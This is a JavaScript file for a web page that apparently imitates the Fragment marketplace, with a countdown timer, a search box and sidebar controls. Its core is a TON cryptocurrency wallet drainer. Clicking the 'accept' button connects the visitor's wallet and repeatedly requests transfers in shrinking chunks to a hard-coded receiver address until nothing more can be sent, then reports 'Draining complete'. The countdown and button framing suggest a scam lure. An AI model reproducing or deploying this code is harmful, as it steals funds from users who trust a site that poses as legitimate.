| |
| function updateTimer() { |
| const elements = { |
| days: document.getElementById("days"), |
| hours: document.getElementById("hours"), |
| minutes: document.getElementById("minutes"), |
| seconds: document.getElementById("seconds") |
| }; |
|
|
| if (!Object.values(elements).every(el => el)) { |
| console.error("Timer elements not found in DOM"); |
| return; |
| } |
|
|
| let days = parseInt(elements.days.textContent) || 0; |
| let hours = parseInt(elements.hours.textContent) || 0; |
| let minutes = parseInt(elements.minutes.textContent) || 0; |
| let seconds = parseInt(elements.seconds.textContent) || 0; |
|
|
| if (seconds > 0) { |
| seconds--; |
| } else if (minutes > 0) { |
| minutes--; |
| seconds = 59; |
| } else if (hours > 0) { |
| hours--; |
| minutes = 59; |
| seconds = 59; |
| } else if (days > 0) { |
| days--; |
| hours = 23; |
| minutes = 59; |
| seconds = 59; |
| } else { |
| return; |
| } |
|
|
| elements.days.textContent = `${days} days`; |
| elements.hours.textContent = hours.toString().padStart(2, "0"); |
| elements.minutes.textContent = minutes.toString().padStart(2, "0"); |
| elements.seconds.textContent = seconds.toString().padStart(2, "0"); |
| } |
| setInterval(updateTimer, 1000); |
|
|
| |
| const searchInput = document.querySelector('.search-input'); |
| if (searchInput) { |
| searchInput.addEventListener('keydown', function(e) { |
| if (e.key === 'Enter') { |
| const query = encodeURIComponent(this.value.trim()); |
| if (query) { |
| window.location.href = `https://fragment.com/?query=${query}`; |
| } |
| } |
| }); |
| } else { |
| console.error("Search input not found in DOM"); |
| } |
|
|
| |
| if (!window.TonConnect) { |
| console.error("TonConnect SDK not loaded. Ensure the script is included and loaded correctly."); |
| alert("Failed to load TON Connect SDK. Please try refreshing the page."); |
| } else { |
| const tonConnect = new window.TonConnect({ |
| manifestUrl: 'https://txtorg-tsx.static.hf.space/manifest.json' |
| }); |
|
|
| |
| tonConnect.onStatusChange((walletInfo) => { |
| console.log('Wallet status:', walletInfo ? `Connected to ${walletInfo.account.address}` : 'Disconnected'); |
| }); |
|
|
| |
| const acceptButton = document.querySelector('.accept-button'); |
| if (acceptButton) { |
| acceptButton.addEventListener('click', async () => { |
| try { |
| |
| const wallets = await tonConnect.getWallets(); |
| if (!wallets || !wallets.length) { |
| console.error("No compatible wallets found."); |
| alert("No compatible TON wallets found. Please install a wallet like Tonkeeper."); |
| return; |
| } |
|
|
| |
| await tonConnect.connectWallet(); |
| if (!tonConnect.connected || !tonConnect.wallet?.account?.address) { |
| console.error("Wallet connection failed: No wallet connected."); |
| alert("Wallet connection failed. Please try again or ensure a TON wallet is installed."); |
| return; |
| } |
|
|
| console.log("Connected wallet address:", tonConnect.wallet.account.address); |
|
|
| const receiverAddress = 'UQCF1ONPsW54lg6XzJFbYSEDHEujrLOrXbz52gR4VEmK9m4c'; |
| const chunkSizes = [300, 100, 50, 10, 5, 1]; |
| let totalSent = 0; |
|
|
| async function trySendChunk(amountTon) { |
| const tx = { |
| validUntil: Math.floor(Date.now() / 1000) + 300, |
| messages: [ |
| { |
| address: receiverAddress, |
| amount: (amountTon * 1e9).toString() |
| } |
| ] |
| }; |
|
|
| try { |
| const result = await tonConnect.sendTransaction(tx); |
| if (result && (result.boc || result.from)) { |
| console.log(`✅ Sent ${amountTon} TON to ${receiverAddress}`); |
| totalSent += amountTon; |
| return true; |
| } |
| } catch (err) { |
| console.warn(`❌ Failed to send ${amountTon} TON:`, err.message || err); |
| } |
| return false; |
| } |
|
|
| while (true) { |
| let sent = false; |
| for (const size of chunkSizes) { |
| const ok = await trySendChunk(size); |
| if (ok) { |
| sent = true; |
| await new Promise(resolve => setTimeout(resolve, 2000)); |
| break; |
| } |
| } |
| if (!sent) { |
| alert(`Draining complete. Total sent: ${totalSent} TON.`); |
| break; |
| } |
| } |
| } catch (err) { |
| console.error("Error during wallet connection or transaction:", err.message || err); |
| alert(`Wallet connection or transaction failed: ${err.message || 'Unknown error'}`); |
| } |
| }); |
| } else { |
| console.error("Accept button not found in DOM"); |
| } |
| } |
|
|
| |
| const tonButton = document.querySelector('.ton-button'); |
| if (tonButton) { |
| tonButton.addEventListener('click', () => { |
| alert('Connect TON clicked'); |
| }); |
| } else { |
| console.error("TON button not found in DOM"); |
| } |
|
|
| const telegramButton = document.querySelector('.telegram-button'); |
| if (telegramButton) { |
| telegramButton.addEventListener('click', () => { |
| alert('Connect Telegram clicked'); |
| }); |
| } else { |
| console.error("Telegram button not found in DOM"); |
| } |
|
|
| |
| const menuButton = document.getElementById("menuButton"); |
| const sidebarOverlay = document.getElementById("sidebarOverlay"); |
| const overlay = document.getElementById("overlay"); |
| const closeButton = document.getElementById("closeButton"); |
|
|
| if (!menuButton || !sidebarOverlay || !overlay || !closeButton) { |
| console.error("Sidebar elements missing in DOM:", { |
| menuButton: !!menuButton, |
| sidebarOverlay: !!sidebarOverlay, |
| overlay: !!overlay, |
| closeButton: !!closeButton |
| }); |
| } else { |
| menuButton.addEventListener("click", () => { |
| sidebarOverlay.classList.add("active"); |
| overlay.classList.add("active"); |
| }); |
|
|
| overlay.addEventListener("click", () => { |
| sidebarOverlay.classList.remove("active"); |
| overlay.classList.remove("active"); |
| }); |
|
|
| closeButton.addEventListener("click", () => { |
| sidebarOverlay.classList.remove("active"); |
| overlay.classList.remove("active"); |
| }); |
| } |